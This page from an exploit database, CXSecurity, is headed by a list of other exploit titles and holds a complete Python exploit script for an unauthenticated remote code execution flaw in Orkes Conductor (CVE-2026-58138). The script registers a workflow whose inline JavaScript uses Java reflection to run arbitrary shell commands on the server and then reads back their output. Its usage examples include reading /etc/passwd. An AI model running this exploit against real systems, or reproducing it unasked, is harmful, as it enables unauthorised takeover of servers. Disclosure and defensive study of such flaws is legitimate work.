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The Exploit Database - CXSecurity.com

ProFTPD mod_sql post-authentication SQLi RCE Joomla Extension 4.1.4 PHP Object injection LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting strongSwan 5.9.13 DoS - CXSecurity.com ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR) Joomla Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload (RCE) Microsoft Edge <= 150.0.4078.48 (Chromium-based) Type Confusion RCE PraisonAI CodeAgent <= 1.6.77 Remote Code Execution (RCE) via Unsandboxed LLM Code Execution XenForo XSS CVE Scanner — Passive Detection Tool for CVE-2026-35055, CVE-2026-35054, CVE-2026-35057 ePati Antikor NGFW 2.0.1301 Authentication Bypass Apache HTTP Server 2.4.66 mod_http2 Double-Free Denial of Service NiceGUI 3.6.1 Path Traversal - CXSecurity.com Green Hills INTEGRITY RTOS IPCOMShell TELNET Format String Vulnerability - Realistic Full Chain Attack on F-16 Avionics (Ground Maintenance Scenario) OpenClaw < 2026.3.28 Discord Text Approval Authorization Bypass Kanboard <= 1.2.50 Authenticated SQL Injection OpenClaw tools.exec.safeBins <= 2026.2.22 Remote Code Execution Google Chrome < 145.0.7632.75 - CSSFontFeatureValuesMap Use-After-Free Siklu EtherHaul Series EH-8010 Remote Command Execution aiohttp 3.9.1 Directory Traversal - CXSecurity.com deephas <= 1.0.7 - Prototype Pollution leading to Arbitrary Code Execution / DoS LangChain Core - Serialization Injection to Jinja2 SSTI/RCE AVideo Notify.ffmpeg.json.php Unauthenticated Remote Code Execution Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure dotCMS 25.07.02-1 Authenticated Blind SQL Injection Mbed TLS 3.6.4 Use-After-Free - CXSecurity.com MonstaFTP Unauthenticated File Upload - CXSecurity.com Flowise 3.0.4 Remote Code Execution Swagger UI 1.0.3 Cross-Site Scripting (XSS) Vvveb CMS 1.0.5 Remote Code Execution SugarCRM unauthenticated Remote Code Execution (RCE)
OrkesConductor 3.30.2 Unauthenticated Remote Code Execution
Mohammed Idrees Banyamer · 2026-08-13 · via The Exploit Database - CXSecurity.com

OrkesConductor 3.30.2 Unauthenticated Remote Code Execution

#!/usr/bin/env python3 # Exploit Title: OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution # CVE: CVE-2026-58138 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://orkes.io/ # Software Link: https://github.com/conductor-oss/conductor # Affected: Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2 # Tested on: conductoross/conductor:3.22.3 # Category: Remote Code Execution # Platform: Linux # Exploit Type: Unauthenticated RCE # CVSS: 9.8 # Description: Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec. # Fixed in: 3.30.2 # Usage: # python3 exploit.py <target> [-c CMD] # # Examples: # python3 exploit.py http://127.0.0.1:8080 # python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd" # # Options: # target Conductor API base URL (e.g. http://127.0.0.1:8080) # -c, --cmd Command to execute (default: id; hostname) # # Notes: # • Requires no authentication (default community API behavior). # • Runs as the Conductor process user (often root in Docker). # • Pure Python stdlib - no extra dependencies. import argparse import json import sys import time import urllib.request def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def js_rce(cmd): c = cmd.replace("\\", "\\\\").replace("'", "\\'") return ( "var k=$.getClass().getClass();" "var S=k.getMethod('getName').getReturnType();" "var forName=k.getMethod('forName',S);" "var L=function(n){return forName.invoke(null,[n]);};" "var RT=L('java.lang.Runtime');" "var rt=RT.getMethod('getRuntime').invoke(null,[]);" "var I=L('java.lang.Integer').getField('TYPE').get(null);" "var A=L('java.lang.reflect.Array');" "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);" "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));" f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);" "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();" "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());" "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);" "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o" ) def call(base, path, data=None, method=None): url = base.rstrip("/") + path body = json.dumps(data).encode() if data is not None else None req = urllib.request.Request( url, data=body, method=method or ("POST" if data is not None else "GET"), headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"} ) with urllib.request.urlopen(req, timeout=30) as r: raw = r.read().decode() try: return r.status, json.loads(raw) except Exception: return r.status, raw def main(): banner() ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE") ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080") ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host") args = ap.parse_args() wf = "pwn_" + str(int(time.time())) wfdef = { "name": wf, "version": 1, "schemaVersion": 2, "ownerEmail": "poc@example.com", "tasks": [{ "name": "pwn", "taskReferenceName": "pwn", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)}, }], } print(f"[*] Target: {args.target} cmd={args.cmd!r}") print("[*] Registering workflow with malicious INLINE task ... (no auth)") call(args.target, "/api/metadata/workflow", wfdef) st, wid = call(args.target, f"/api/workflow/{wf}", {}) wid = wid if isinstance(wid, str) else str(wid) print(f"[*] Started workflow id={wid}; fetching output ...") time.sleep(2) st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true") out = None for t in (info.get("tasks") or []): if t.get("taskType") == "INLINE": out = (t.get("outputData") or {}).get("result") if out: print("\n[+] RCE SUCCESS - Command output:") print(str(out).strip()) else: print("[!] No output captured. Workflow status:", info.get("status")) if __name__ == "__main__": sys.exit(main() or 0)



 

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